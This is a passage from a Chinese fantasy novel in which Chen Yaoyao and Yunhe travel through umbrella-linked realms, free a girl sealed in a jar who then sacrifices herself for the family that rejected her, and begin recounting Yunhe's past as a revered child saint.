老赌鬼:“我没骗你啊。我骗的是别人。”
少年想了想,点点头:“那行。”
陈瑶瑶看着这对师徒,忽然笑了。
云河说得对。
对有些人来说,被需要,就是得救。
少年需要老赌鬼,老赌鬼也需要少年。
他们互相需要,互相成全。
这就是他们的家。
离开那天,陈瑶瑶抱着发财,站在街口。
老赌鬼和少年来送他们。
少年依依不舍地看着发财,小声问:“姐姐,我能摸摸它吗?”
陈瑶瑶把发财递过去。
少年小心翼翼地摸了摸发财的脑袋,那动作轻得像怕碰坏了什么宝贝。发财舒服得眯起眼睛,往他手里蹭了蹭,发出满足的哼哼声。
少年笑了,笑得眼睛弯成两道月牙,那两根呆毛也跟着晃。
老赌鬼在旁边摇着扇子,悠悠地说:“小姑娘,以后有空来玩。我请你们吃面。”
陈瑶瑶想起那两碗坨了的面,忍不住笑了:“好。”
公孙潜龙站在旁边,看着老赌鬼,忽然说:“我输了。”
老赌鬼一愣。
公孙潜龙认真地说:“那天的赌局,我赌他三年后还会叫你师父。现在我认输——不用三年,我现在就知道了。”
老赌鬼笑了,难得地没有油嘴滑舌,只是点点头:“壮士,你是个好人。”
公孙潜龙苦笑:“好人有什么用?”
老赌鬼眨眨眼:“好人有用。好人有好报。”
公孙潜龙愣了一下,然后笑了。
云河撑开白骨伞。
陈瑶瑶抱着发财,走进伞里。
临走前,她回头看了一眼。
街角,老赌鬼和少年并肩站着,一个摇着破扇子,一个抱着不知道从哪儿弄来的糖人。
阳光照在他们身上,暖洋洋的,给两人镀上一层金边。
少年冲她挥手,使劲挥,那两根呆毛也跟着晃。
老赌鬼也挥了挥扇子。
陈瑶瑶也挥了挥手。
然后,眼前一黑。
白骨伞落地时,陈瑶瑶听见发财“汪”了一声。
她睁开眼,发现自己站在一片桃林里。
桃花正开,满树的粉白,风一吹,花瓣簌簌落下来,落在她肩上,落在发财脑袋上。
云河收伞,看着远处。
陈瑶瑶顺着她的目光望去——桃林深处,有一口井。青石的井栏,长满了青苔,像是很多年没有人来过了。
她愣了愣,忽然问:“云河,那座山后面,真的有桃林吗?”
云河没回答。
发财从她怀里跳下来,颠颠地往桃林深处跑,小短腿在落花里一颠一颠,踩出一串小小的脚印。
陈瑶瑶追上去。
跑出几步,她忽然想起什么,回头看了一眼。
云河站在原地,阳光透过桃林,落在她身上,斑驳的光影在她脸上晃动。
她看着那口井,目光悠远,像是看着很远很远的地方,又像是看着很久很久以前。
不知道在想什么。
陈瑶瑶忽然觉得,云河说的“桃林”,也许不在山后面。
而在她心里。
那个曾经被困住、后来被解放的人,心里永远有一片桃林。
等着别人去发现。
等着别人去跳。
发财在前面“汪汪”叫了两声。
陈瑶瑶回过神,追了上去。
花瓣落在她身后,落了一路。
11. 坛愿
白骨伞落地时,陈瑶瑶已经有了经验——双手护住发财,膝盖微屈,等那股失重感过去。
但这次落地,感觉不一样。
空气里有一股说不清的味道,像是潮湿的泥土混着陈年的霉,还有一点点……酸?
陈瑶瑶睁开眼,愣了愣。
这是一条小巷,窄得只能容两个人并肩。两边是斑驳的土墙,墙根长满青苔,地上坑坑洼洼,积着昨夜的雨水。远处传来几声狗叫,还有孩子的哭声。
很普通的一条小巷。
但陈瑶瑶心里却莫名发紧,像是有什么东西压在胸口,喘不过气来。
发财从她怀里探出脑袋,东嗅嗅西嗅嗅,忽然浑身一抖,耳朵竖得直直的,喉咙里发出低低的呜咽。
陈瑶瑶低头看它:“发财?怎么了?”
发财不吭声,只是往她怀里缩,缩成一颗奶黄色的毛球,瑟瑟发抖。
陈瑶瑶从未见过它这样。平时这狗胆子大得很,见谁都敢“汪”两声,现在却像看见了什么可怕的东西。
她看向云河。
云河眉头微蹙,抬手按在发财背上,闭眼感应了片刻,睁开眼,神色少见地凝重。
“它听到了声音。”云河说。
陈瑶瑶:“什么声音?”
云河看着她,一字一句:“求救的声音。”
陈瑶瑶心头一跳。
就在这时,一阵风吹过小巷,带来一个声音——
很轻,很细,像是从很远的地方传来,又像是从地底下冒出来:
“神啊……救救他们吧……”
陈瑶瑶猛地转头:“谁?”
没有人。
小巷空空荡荡,只有风穿过墙缝的呜咽。
但那个声音还在继续,一遍一遍,像念经一样:
“救救他们吧……我愿为此……永堕地狱……”
陈瑶瑶只觉得头皮发麻。
发财忽然剧烈喘息起来,四条小短腿乱蹬,像是被什么东西魇住了。它眼睛瞪得溜圆,瞳孔放大,喉咙里发出“嗬嗬”的声音。
“发财!”陈瑶瑶慌了。
云河一把接过发财,将它抱在怀里,手掌按在它心口,一股柔和的光芒从她掌心渗出,将发财整个包裹住。
发财的喘息渐渐平复,但眼睛还是瞪得大大的,浑身止不住地抖。
云河抬头看向陈瑶瑶:“它被那声音侵入了。这里的怨念太重,它承受不住。”
陈瑶瑶急了:“那怎么办?”
云河沉默了一瞬,忽然将白骨伞递过来。
陈瑶瑶愣住了。
白骨伞,云河从不离手的白骨伞,就这么递到了她面前。
“拿着。”云河说。
陈瑶瑶:“我……我不行……”
云河看着她,目光平静,却有一种不容置疑的力量:“你能行。”
陈瑶瑶张了张嘴,说不出话来。
云河:“天机伞唯心而动,只要你能听到需要帮助的人的声音,就能催动它。你已经听到了,不是吗?”
陈瑶瑶想起那个声音,那个一遍一遍重复着“救救他们”的声音。
她听到了。
云河将伞塞进她手里,抱起发财:“这一境,你自己解决。”
陈瑶瑶慌了:“可是我不知道怎么用……”
云河已经转身,抱着发财走进小巷深处。走出几步,她头也不回地说:
“用心听。它会告诉你。”
话音落下,她的身影消失在巷角。
陈瑶瑶站在原地,手里握着那把冰凉的白骨伞,心里像揣了一百只兔子。
发财的喘息声还在耳边回响,那个求救的声音还在空气里飘荡。
她深吸一口气,闭上眼。
用心听。
用心听。
她听见风声,听见远处孩子的哭声,听见自己的心跳。然后,在所有这些声音底下,她听见了那个声音——
“神啊……救救他们吧……我愿为此……永堕地狱……”
一遍,一遍,又一遍。
像是念了一百年。
陈瑶瑶睁开眼,握紧白骨伞,往声音传来的方向走去。
声音把她引到一座破败的小院前。
院墙塌了一半,门板歪歪斜斜地挂着,上面爬满了蛛网。院子里堆着杂物,破缸烂罐,还有一只翻倒的木盆。
陈瑶瑶推开门,走进去。
声音更清晰了。
就在院子里。
她环顾四周,没有人。只有那些破缸烂罐,安静地蹲在墙角。
陈瑶瑶皱起眉头,正要转身,忽然听见一声极轻的响动——
来自墙角那只最大的坛子。
那坛子半人高,灰扑扑的,坛口封着一层黑乎乎的什么东西,看不清里面。坛身上布满裂纹,像是随时会碎掉。
陈瑶瑶走近一步。
坛子里传出一个声音,很轻,很细,像是风吹过竹管:
“救救他们……”
陈瑶瑶心跳漏了一拍。
她蹲下来,凑近坛口,轻声问:“谁?谁在里面?”
坛子里沉默了一瞬,然后那个声音响起,带着一丝颤抖:
“你……你能听见我?”
陈瑶瑶:“能。你是谁?为什么在坛子里?”
坛子里又沉默了,很久很久。
久到陈瑶瑶以为不会回答了,那个声音才再次响起,这回带着一丝说不清的东西,像是哭,又像是笑:
“我叫吴笙。我在坛子里……住了很多年了。”
陈瑶瑶脑子里“嗡”的一声。
她仔细去看那只坛子——坛口封着的,不是泥,不是布,而是……一层黑褐色的东西,干涸的,龟裂的,像是……
她不敢往下想。
“你怎么进去的?”她问,声音发紧。
坛子里的人说:“是我自己求的。”
陈瑶瑶愣住了。
坛子里的人开始说,声音很轻,像是在讲别人的故事:
“我爹爱喝酒。喝醉了就打人。打我,打我娘,打我弟弟。我娘只会哭,弟弟还小,什么都不懂。我从小就躲在坛子里,这样他就找不到我。”
陈瑶瑶听着,心里像被什么东西攥住了。
“后来有一天,他喝太多了,打弟弟。弟弟才三岁,被他打得起不来。我躲在坛子里,听见弟弟的哭声越来越小,越来越小……”
坛子里的声音顿了顿。
“我就求。求神。我说,神啊,救救他们吧,我愿意替他们受一切苦,我愿意永堕地狱,只要你救救他们。”
陈瑶瑶鼻头一酸。
“然后呢?”
坛子里的人笑了笑,那笑声轻得像一片羽毛:
“然后神就听见了。弟弟活过来了。我爹死了。我娘和弟弟都好好的。”
陈瑶瑶:“那你呢?”
坛子里的人沉默了很久。
“我?我就在坛子里了。”
陈瑶瑶看着那只灰扑扑的坛子,看着那些密密麻麻的裂纹,忽然明白那是什么了。
那不是裂纹。
那是岁月。
是一年一年,一天一天,一刻一刻,在这个坛子里熬出来的岁月。
她站起来,握紧白骨伞。
“我救你出来。”
坛子里的人慌了:“别!你别碰我!我很脏的……”
陈瑶瑶不听。她举起白骨伞,闭上眼,用心去听。
听那个声音。
听那个女孩。
听她的一百年。
白骨伞在她手中微微发热,伞面上的骨珠轻轻颤动,发出细碎的声响。
然后,一道光芒从伞尖射出,落在坛子前。
光芒散去,一只黑猫蹲在那里。
它通体漆黑,没有一丝杂毛,只有一双眼睛是金色的,在阳光下闪闪发光。它看了看陈瑶瑶,又看了看那只坛子,然后迈着优雅的步子走过去。
陈瑶瑶屏住呼吸。
黑猫绕着坛子转了一圈,然后跳上坛口。它低下头,嗅了嗅那层封住坛口的东西,忽然伸出爪子,轻轻一扒——
那层东西应声而裂。
黑猫回过头,看了陈瑶瑶一眼,那金色的眼睛里像是有话要说。然后它纵身一跃,从裂开的缝隙里滑了进去。
那么小的缝隙,它那么大的身子,却像没有骨头一样,轻轻松松就滑进去了。
坛子里传来一声惊呼。
然后,一声脆响。
坛子从内部裂开,碎成无数片。
一个女孩跌坐在地上,浑身蜷缩成一团,拼命用手遮住脸,遮住身体。
阳光照在她身上。
陈瑶瑶看清了——
女孩的下半身,已经完全扭曲变形。两条腿像是从来没有长直过,软软地拖在地上,膝盖的位置不对,脚踝的位置也不对,像是被人揉成一团又勉强展开的纸。
她的皮肤苍白得近乎透明,上面布满了青紫色的斑痕。头发乱成一团,结成硬块。身上散发出一股陈年的恶臭,像是腐烂的东西在坛子里闷了太久。
陈瑶瑶眼眶一热,蹲下来,伸手去扶她。
女孩拼命躲,声音发抖:“别碰我!我脏!我臭!”
陈瑶瑶一把抱住她。
“不脏。”她说,声音哽咽,“一点都不脏。”
女孩僵住了。
然后,她“哇”的一声哭出来,哭得浑身发抖,哭得像要把一百年的眼泪都哭干。
陈瑶瑶抱着她,一下一下拍着她的背,红着眼眶给她擦眼泪。
黑猫蹲在旁边,静静看着她们。
阳光下,女孩的眼泪落在地上,渗进土里。
陈瑶瑶打了水,帮吴笙擦洗身体。
那双腿,她不敢多看。每看一眼,心里就像被人剜了一刀。但她还是忍着泪,一点一点地洗,一点一点地擦,把那些积了十几年的污渍慢慢洗干净。
吴笙一直低着头,不说话。
等她洗完,吴笙忽然问:“你知道我娘和我弟弟在哪儿吗?”
陈瑶瑶愣了一下。
吴笙抬起头,看着她,那双眼睛和常人不太一样,有点呆,有点木,但里面有一种光,亮得灼人。
“我想去看看他们。”
陈瑶瑶心里一酸。
她想起吴笙在坛子里说的话——“弟弟活过来了。我娘和弟弟都好好的。”
她为了他们,在坛子里待了十几年。
她想看看他们。
陈瑶瑶点头:“好。我帮你找。”
她们找到吴笙家的时候,已经是傍晚。
那是一座青砖小院,比吴笙待的那条巷子气派多了。院墙刷得雪白,门上贴着崭新的门神,院子里传来孩子的笑声和饭菜的香味。
吴笙趴在墙头,往里看。
院子里,一个三十来岁的男人正在劈柴,一个痴痴傻傻的女人坐在门槛上晒太阳,一个十来岁的男孩在院子里跑来跑去,追着一只花猫。
男人抬起头,喊了一声:“小伟,别跑了,过来吃饭!”
男孩应了一声,跑进屋。
女人傻傻地笑,口水顺着嘴角流下来。
男人走过去,用袖子给她擦了擦嘴,轻声说:“饿了吧?饭马上好了。”
阳光照在他们身上,暖洋洋的。
吴笙看着,嘴角慢慢弯起来。
陈瑶瑶站在她身后,轻声问:“那是你弟弟?”
吴笙点头,眼睛一眨不眨地盯着那个男孩:“他长这么大了。”
陈瑶瑶:“你想进去吗?”
吴笙犹豫了很久,最后摇了摇头。
“我就看看。”她说,“看看就好。”
她转身,准备离开。
就在这时,一个邻居大婶路过,看见墙角的吴笙,愣了一下,然后大喊起来:
“哎呀!这不是老吴家那个闺女吗?你还活着呢?”
院子里的男人听见喊声,走出来。
他看见吴笙,也愣住了。
那张脸上,有惊讶,有困惑,还有一丝说不清的东西——不是欢喜,不是心疼,而是……嫌恶。
他吸了吸鼻子,皱起眉头。
吴笙身上那股味道,洗不掉的。
陈瑶瑶看见了那个眼神。
她心里“咯噔”一下。
男人——老吴——走过来,上下打量着吴笙,半晌才开口:“你……你怎么回来了?”
吴笙张了张嘴,想说什么,又不知道该说什么。
邻居大婶在旁边起哄:“哎呀,老吴,你闺女回来了,还不快接进去?这孩子在外面这么多年,吃了多少苦啊!”
老吴的脸色变了几变,最后硬着头皮说:“进……进来吧。”
吴笙眼睛亮了。
她拖着那两条扭曲的腿,一步一步往院子里爬。
陈瑶瑶想去扶她,她摇摇头:“我自己来。”
她爬过门槛,爬过院子,爬到那个痴傻女人面前。
女人看见她,愣了愣,然后忽然尖叫起来,拼命往后退。
吴笙愣住了。
老吴赶紧过去哄:“别怕别怕,是闺女,是你闺女!”
女人不听,只是尖叫,往男人怀里躲,像看见什么可怕的东西。
男孩站在旁边,好奇地看着吴笙,小声问:“爹,这是谁?”
老吴:“你姐。”
男孩皱眉:“我姐?我怎么不知道我有姐?”
老吴不说话了。
吴笙坐在地上,看着母亲惊恐的眼神,看着弟弟陌生的目光,看着父亲闪躲的表情,忽然不知道该做什么。
她低下头,轻声说:“对不起,我……我味道大。”
没人说话。
只有女人还在小声地呜咽。
吴笙在家里住了三天。
陈瑶瑶没有走,在附近找了个地方住下,每天去看她。
第一天,吴笙被安排住在柴房。老吴说家里没多余的房间,让她先凑合一下。吴笙说好。
第二天,老吴给她端了一碗饭,放在柴房门口,没进去。吴笙说谢谢。
第三天,吴笙想帮忙做点事,拖着腿去院子里扫地。老吴看见,皱了皱眉,没说话。男孩从旁边跑过,不小心绊了一跤,爬起来就喊:“爹,她绊我!”
老吴走过来,看了看吴笙,又看了看儿子,最后对吴笙说:“你……你以后别出来。”
吴笙愣了愣,然后点头:“好。”
那天傍晚,陈瑶瑶来看她。
吴笙坐在柴房里,对着墙发呆。
陈瑶瑶轻声问:“怎么了?”
吴笙摇摇头,没说话。
但陈瑶瑶看见她眼眶红了。
夜里,吴笙睡不着,爬出柴房,想透透气。
她爬到院子角落,忽然听见墙外有人在说话。
是邻居大婶们。
“哎,你听说了吗?老吴家那个闺女回来了。”
“听说了。啧啧,那味儿,我在门口都闻见了。”
“你说她这些年去哪儿了?怎么一回来就那样?”
“谁知道呢。要我说,肯定是在外面做了什么见不得人的事,不然怎么会变成那样?”
“可不是嘛。老吴家苦啊,好不容易日子好过点了,又摊上这么个事儿。”
“哎,你说她娘是个傻的,生的一儿一女,闺女也随她娘,也是个傻的。这以后可怎么办?老吴得伺候三个人?”
“谁说不是呢。都说养儿防老,这倒好,刚开始就要给孩子养老,倒了八辈子霉啰。”
笑声从墙外传来,尖细刺耳。
吴笙坐在墙角,一动不动。
月光照在她身上,照出她苍白的脸。
她忽然想起小时候。
想起爹喝醉的样子,想起娘的哭声,想起弟弟被打时凄厉的尖叫。想起自己躲在坛子里,捂着嘴,不敢出声。想起自己求神时说的话——“我愿替他们受一切苦,我愿永堕地狱。”
神听见了。
弟弟活过来了,娘和弟弟都好好的。
只有她,在坛子里待了十几年。
她以为他们需要她。
她以为他们会等她。
她以为……
墙外的笑声还在继续。
吴笙低下头,爬回柴房。
第四天夜里,陈瑶瑶睡不着,出来接露珠。
这是她在某个境里学来的习惯——清晨的露珠能泡茶,云河喜欢喝。
她端着碗,蹲在草丛边,一片叶子一片叶子地接。
月光很亮。
忽然,她听见一阵窸窸窣窣的声音。
循声望去,一个小小的身影正在往巷子口爬。
是吴笙。
她拖着那两条扭曲的腿,一步一步,很慢,很吃力,但没有停。
陈瑶瑶走过去:“吴笙?”
吴笙停下,回过头。
月光照在她脸上,那双有些呆滞的眼睛里,出奇地平静。
陈瑶瑶蹲下来:“你去哪儿?”
吴笙没说话。
陈瑶瑶:“你不是回家了吗?怎么又出来了?”
吴笙还是没说话。
她低下头,继续往前爬。
陈瑶瑶看着她的背影,心里一阵酸楚。
她想起那些话——“见了不得人的事”,“倒了八辈子霉”,“伺候三个人”。
她想起男孩看吴笙的眼神,陌生的,带着嫌弃。
她想起那个痴傻女人,看见女儿只会尖叫,只会往男人怀里躲。
她想起老吴,把饭放在门口,不进去。
吴笙爬了三天,才爬回那个家。
现在又爬出来了。
陈瑶瑶追上去,蹲在她面前:“吴笙,你听我说——”
吴笙终于开口了,声音很轻:
“姐姐,他们没有我,过得挺好的。”
陈瑶瑶愣住了。
吴笙抬起头,看着她,那双眼睛里有光在闪,但没有落下来。
“我娘虽然傻,但我爹对她好。我弟弟虽然不记得我,但他很快乐。他们有他们的日子,没有我的日子。”
她低下头,轻声说:“我……我多余。”
陈瑶瑶鼻头一酸,一把抱住她。
“你不多余。”她说,声音发颤,“你一点也不多余。”
吴笙趴在她怀里,没动。
半晌,她轻声说:“姐姐,你能带我走吗?”
陈瑶瑶抱紧她:“好。”
她们回去的时候,云河正站在门口,怀里抱着发财。
发财已经好多了,看见陈瑶瑶,摇了摇尾巴。
云河看了看吴笙,又看了看陈瑶瑶,没说话。
陈瑶瑶:“我想带她一起走。”
云河沉默了一瞬,然后点头。
吴笙眼睛亮了,小声说:“谢谢姐姐,谢谢姐姐。”
陈瑶瑶揉揉她的脑袋,笑了。
变故发生在第二天。
那天早上,天还是晴的。陈瑶瑶收拾好东西,准备带吴笙离开。
忽然,天暗下来了。
不是黄昏那种暗,是那种……不对劲的暗。像是有人把太阳拧灭了,换上一盏昏黄的灯。
陈瑶瑶抬头看天。
天上涌起层层黑云,像墨汁倒进水里,迅速蔓延开来,遮住了整片天空。
风起了,带着一股腥味。
发财竖起耳朵,喉咙里发出低低的呜咽。
云河眉头微蹙,看向远处。
然后,雨落下来了。
不是普通的雨。那雨是灰黑色的,落在地上,溅起的水花也是灰黑色的。落在皮肤上,痒。
陈瑶瑶低头看自己的手——落过雨的地方,冒出一颗小小的黑痘,痒得钻心。
她抬头看云河——云河脸上、手上,也开始冒黑痘。
她看吴笙——
吴笙站在雨里,身上干
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干净净,一颗黑痘都没有。
陈瑶瑶愣住了。
就在这时,远处传来一阵哭喊声。
陈瑶瑶循声望去——整条巷子的人都跑出来了,一个个浑身长满黑痘,拼命地挠,哭爹喊娘,乱成一团。
有人在喊:“这是怎么回事?老天爷降灾了!”
有人在喊:“救命!救命啊!”
陈瑶瑶抱起发财,冲进雨里。
云河撑着伞,跟在她身后。
她们跑到街上,看见到处都是抓挠的人,到处都是哭喊的声音。那些黑痘长得飞快,一颗变两颗,两颗变一片,痒得人恨不得把皮扒下来。
陈瑶瑶忽然想起什么,回头看向吴笙。
吴笙站在雨里,表情茫然。
她身上,一颗痘都没有。
陈瑶瑶脑子里闪过一个念头——
这场雨,只下给“他们”。
那些让吴笙爬出来的人。
就在这时,一个人踉踉跄跄地跑过来,扑倒在吴笙面前。
是老吴。
他浑身长满了黑痘,脸上、手上、脖子上,密密麻麻,看得人头皮发麻。他跪在地上,仰头看着吴笙,声音沙哑:
“孩子……救救我们……救救你弟弟……他才十岁……”
吴笙张了张嘴。
她想说:爹,我也才十三岁。
但她说出口的却是:“我……我不知道怎么救……”
老吴跪在地上,满脸是泪:“你救救他!你救救他!他是你弟弟!”
吴笙站在那里,手足无措。
她看向陈瑶瑶,眼神里全是求助。
陈瑶瑶走上前,看着跪在地上的老吴。
她想起那天下午,老吴看吴笙的眼神。想起他把饭放在门口,不进去。想起他说的“你以后别出来”。想起邻居大婶们的闲言碎语,想起吴笙爬出来的那个夜晚。
她盯着老吴,一字一句地问:
“你们是不是做了什么违反天伦的事?”
老吴愣住了,拼命摇头:“没有没有!我们什么都没做!”
陈瑶瑶看着他,心里忽然生出一股从未有过的决绝。
她摇头:“你没说实话。不说实话,没人救得了你们。”
老吴脸色变了变,嘴唇哆嗦,想说什么,又说不出来。
陈瑶瑶转身,拉着吴笙,走进屋里。
老吴跪在雨里,良久,踉跄着爬起来,跑回家。
那天夜里,雨还在下。
吴笙坐在门口,看着外面的雨。陈瑶瑶坐在她旁边,不说话。
发财趴在陈瑶瑶怀里,偶尔舔舔她的手。
云河站在远处,撑着伞,看着这边。
忽然,吴笙站起来,往雨里走去。
陈瑶瑶:“吴笙?”
吴笙没回头。
她拖着那两条扭曲的腿,一步一步,往巷子深处爬去。
陈瑶瑶抱起发财,跟上去。
吴笙爬到了老吴家门口。
她趴在墙头,往里看。
院子里,老吴抱着痴傻的女人,两个人浑身黑痘,痒得直发抖。女人不停地哭,老吴一边给她挠一边哄:“别怕别怕,会好的,会好的。”
屋里传来男孩的哭声,一声比一声尖利。
老吴听见,赶紧放下女人,跑进屋。
男孩躺在床上,浑身黑痘,一边挠一边哭。老吴按住他的手,不让他挠,男孩就拼命挣扎,又哭又喊。
老吴的眼睛也红了,一边按住儿子一边轻声说:“小伟乖,不挠,挠破了会留疤……”
男孩不听,只是哭。
女人爬进来,抱着男孩,傻傻地哄:“不哭不哭,娘在……”
一家三口,抱在一起,在昏暗的油灯下,瑟瑟发抖。
吴笙趴在墙头,看着他们。
她看见父亲眼里的血丝,看见母亲傻傻的脸上的泪痕,看见弟弟因为痒而扭曲的表情。
她忽然想起小时候。
想起自己躲在坛子里,透过缝隙,看见父亲打弟弟。想起母亲抱着弟弟哭,自己只能在坛子里咬着手指,不敢出声。
想起自己求神时说的话——
“我愿替他们受一切苦。”
神听见了。
弟弟活过来了,娘和弟弟都好好的。
只有她,在坛子里待了十几年。
她以为他们需要她。
她以为他们会记得她。
她以为……
一滴眼泪从她脸上滑落。
不是透明的,是红的。
血泪。
落在地上,渗进土里。
陈瑶瑶站在她身后,看见那滴血泪,心里像被人狠狠揪了一把。
她想说什么,却什么都说不出来。
忽然,一把伞撑在吴笙头顶。
白骨伞。
云河不知什么时候过来了,撑着伞,替吴笙挡住雨水。
吴笙没有回头,只是看着屋里那一家三口。
很久很久。
久到陈瑶瑶以为她会一直看下去。
然后,她开口了。
声音很轻,像是从很远的地方传来:
“算了。”
陈瑶瑶一愣。
吴笙转过头,看着她。月光下,那双有些呆滞的眼睛里,有泪,有笑,还有一种陈瑶瑶说不清的东西。
“我不恨了。”她说。
话音刚落,天变了。
黑云像被一只无形的手拨开,露出后面湛蓝的天空。阳光从云缝里倾泻下来,照在吴笙身上。
吴笙的身体开始发光。
不是那种刺眼的光,而是柔和的光芒,像晨雾一样,从她身体里散发出来。
她低头看自己的手——那双手正在变得透明,能看见后面的阳光。
陈瑶瑶慌了,伸手去抓她:“吴笙!”
吴笙的手从她掌心里穿过,像穿过一片光。
她笑了,那笑容干净得像从未受过伤:
“姐姐,谢谢你。”
陈瑶瑶眼眶发热:“你会死的,但他们不会死。只要他们有悔过之心,你就可以借愿力重生!可你……你已经为他们死了一次,现在又……”
她说不出下去了。
吴笙看着她,轻声说:“姐姐,能这样死去,也是一种福气。”
陈瑶瑶的眼泪终于掉下来。
吴笙的身影越来越淡,越来越透明。
她最后看了一眼屋里那一家三口——
父亲还在哄儿子,母亲还在抱着他们,三个人挤在一起,像三只互相取暖的小兽。
他们不知道外面发生了什么。
他们不知道有人为他们又死了一次。
他们可能永远不会知道。
但吴笙笑了。
她轻声说:“他们活得好好的,就够了。”
阳光铺满整个院子。
吴笙的身影彻底消散,化作无数细碎的光点,融进阳光里。
陈瑶瑶站在院子里,泪流满面。
发财从她怀里探出脑袋,“呜”了一声,轻轻舔她的手。
屋里传来一阵欢呼:
“好了!我好了!哈哈哈哈!”
“小伟也好了!你看,痘消了!”
“老天爷开眼啊!”
陈瑶瑶转身,看见老吴一家从屋里冲出来,又笑又跳,抱在一起。
他们不知道是谁救了他们。
他们永远不会知道。
陈瑶瑶看着他们,忽然想起吴笙最后说的那句话:
“他们活得好好的,就够了。”
她低下头,擦掉眼泪。
云河走过来,站在她身边。
陈瑶瑶轻声问:“她会去哪儿?”
云河看着阳光,沉默了很久,才说:“也许哪儿都不去。也许哪儿都在。”
陈瑶瑶不懂。
但她看着那片阳光,心里忽然生出一个念头:
如果吴笙真的变成了光,那她一定在每一缕阳光里。
照着她想照的人。
离开那天,陈瑶瑶站在巷口,最后看了一眼那条小巷。
阳光正好,照在那些斑驳的土墙上,照在那些坑坑洼洼的路上。
她忽然问云河:“那个黑猫呢?”
云河看她。
陈瑶瑶:“就是我从伞里叫出来的那只。”
云河想了想:“它叫无着。是伞灵的一种。只有在真正需要它的时候才会出现。”
陈瑶瑶:“它还会出现吗?”
云河:“不知道。也许不会。也许会在你下次需要它的时候。”
陈瑶瑶沉默了一会儿,忽然问:“那个坛子,是谁放的?”
云河看着她。
陈瑶瑶:“是吴笙自己爬进去的吗?还是……”
云河没回答。
但陈瑶瑶心里已经有了答案。
是那个男人。
那个喝醉的父亲。
他把女儿塞进坛子里,封住口,让她在那里待了十几年。
她求神的时候,神回应了。
但神没有把她救出来。
也许这就是“永堕地狱”的意思——
不是死后下地狱。
而是活着的时候,就在地狱里。
发财“汪”了一声,蹭蹭她的腿。
陈瑶瑶弯腰抱起它,亲了亲它的脑袋。
云河撑开白骨伞。
陈瑶瑶最后看了一眼那条小巷,然后走进伞里。
眼前一黑。
再睁开眼,她已经站在另一片天空下。
阳光正好。
她抬头看天,忽然想起吴笙。
想起她最后说的那句话。
“能这样死去,也是一种福气。”
陈瑶瑶不知道这算不算福气。
但她知道,从今往后,每一缕阳光里,都有一个叫吴笙的女孩。
照着她想照的人。
12. 神坠
人间境从来没有冬天。
至少,在云河的记忆里没有。
她生在最好的时候——风调雨顺,五谷丰登,人们脸上总是带着笑。而她,生来就是被选中的那一个。
三岁通灵,五岁能听见神的声音,七岁那年,大祭司跪在她面前,说她是“道上圣人”,是上天赐给人间的神使。
从那以后,她走到哪儿,哪儿就有人跪拜。
“元君。”
“元君来了!”
“元君保佑!”
她不喜欢这样。那些膝盖落地时扬起的灰尘,总是呛得她想打喷嚏。但她不能打,大祭司说过,元君要有元君的样子。
所以她只是绷着小脸,面无表情地走过人群,衣袂飘飘,清冷绝尘。
大祭司跟在她身后,笑眯眯地看着那些跪拜的民众,时不时点点头,一副与有荣焉的模样。
他姓姜,是个年过半百的老头,头发花白,胡子也花白,但眼睛很亮,笑起来像只偷了腥的老狐狸。从云河记事起,他就一直陪在她身边,教她识字,教她修行,教她如何倾听神的声音。
“元君今日想吃什么?”他总爱这么问,一边问一边掰着手指头数,“糖蒸酥酪?桂花糕?蜜汁火方?还是上次那个八宝攒汤?”
云河说随便。
他就变着法儿地全做出来,摆满整整一桌子,然后坐在旁边看着她吃,比她自己吃得还香。
“元君多吃点,正长身体呢。”
云河吃着吃着,忽然抬头问:“你为什么对我这么好?”
姜老头愣了愣,然后笑了,那笑容里有一点云河看不懂的东西:“因为元君值得啊。”
云河那时候不懂什么叫“值得”。
但她记得那个笑。
十岁那年,姜老头允许她下山游历。
“元君大了,该去看看人间了。”他说,眼睛里带着光,“让他们瞧瞧,咱们的元君有多厉害。”
云河去了南边。
那年南边发了大水,洪水滔天,淹了十几个村子。她站在堤坝上,闭眼倾听,听见了水底龙神的低语。
龙神说:太久没人供奉了,忘了怎么降雨。
云河说:那你现在想起来了吗?
龙神沉默了很久,然后笑了。那笑声从水底传来,震得整条江都在抖。
第二天,洪水退了。人们在河滩上发现一块巨大的青石,石头上天然生着龙纹。从此以后,南边年年风调雨顺,连老天爷都像是在将功补过。
云河去了北边。
那年北边的牧民蠢蠢欲动,集结十万骑兵,要南下抢粮。她一个人骑着马,走进对方的营地,在十万双眼睛的注视下,走到他们的首领面前。
首领是个壮得能一拳打死牛的汉子,低头看着她,像看一只误闯狼群的羊羔。
“你是谁?”
“来谈和的。”
首领笑了,他身后十万骑兵也笑了,笑声震天,惊起一片飞鸟。
云河没笑。她只是站在那里,抬头看着他的眼睛。
那眼睛里的光,从嘲弄变成困惑,从困惑变成敬畏。
首领跪下了。
他身后,十万骑兵也跪下了,像被风吹倒的麦田,一茬一茬地矮下去。
云河说:“以后别打了,日子会越来越好的。”
首领点头。
后来,北边真的和南边通了商,牛羊换粮食,皮毛换丝绸,那条路被人叫作“锦绣之桥”。
十二岁那年,云河去了西北。
那是她走过最远的地方。
黄沙漫天,风如刀割。姜老头跟在后面,裹着厚厚的皮裘,冻得牙齿打颤,一步三哆嗦。
“元君,要不咱回去吧?”他缩着脖子,声音都在抖,“这地方啥也没有,连根草都不长,能有什么好看的?”
云河没理他,继续往前走。
她听见了声音。
很轻,很细,像风吹过裂缝,又像什么东西在哭。那声音断断续续,若有若无,但她听得清清楚楚——
它在喊。
喊什么呢?她听不出来。但那个“喊”本身,像一根细细的线,牵在她心口,把她往那个方向拉。
她循着声音走,走了三天三夜,走到一座大山脚下。
那山很奇怪。四面都是悬崖,寸草不生,连鸟都不肯从上面飞过。风在呜呜地吹,像是有什么东西在山体里呜咽。
山脚下有一个洞口,黑漆漆的,看不见底。
声音就是从洞里传出来的。
云河走进去。
洞里很暗,很冷,有一股说不清的腥味。她走啊走,走到最深处,忽然停住了。
她看见了——
一个孩子。
被压在山底下。
四条巨大的铁链,从山体中穿出来,锁住那孩子的四肢。铁链上刻满符文,幽幽地闪着光,像四条沉睡的毒蛇。孩子的喉咙被切开了,一道深深的伤口横在脖颈上,像是永远不会愈合,永远不会结痂。
那孩子抬起头,看着她。
一双眼睛,黑白分明。
没有恨,没有怨,没有疯狂。只有一种很干净的东西——茫然。
像是不明白自己做错了什么,不知道为什么被关在这里,不知道为什么喉咙上有个永远好不了的伤口。
像一只被关在笼子里太久、已经忘了什么叫自由的野兽。
云河站在他面前,看着他。
很久很久。
然后她开口,声音很轻:“你叫什么名字?”
那孩子张了张嘴,喉咙里发出“嗬嗬”的声音——他说不出话,喉咙被切开了。
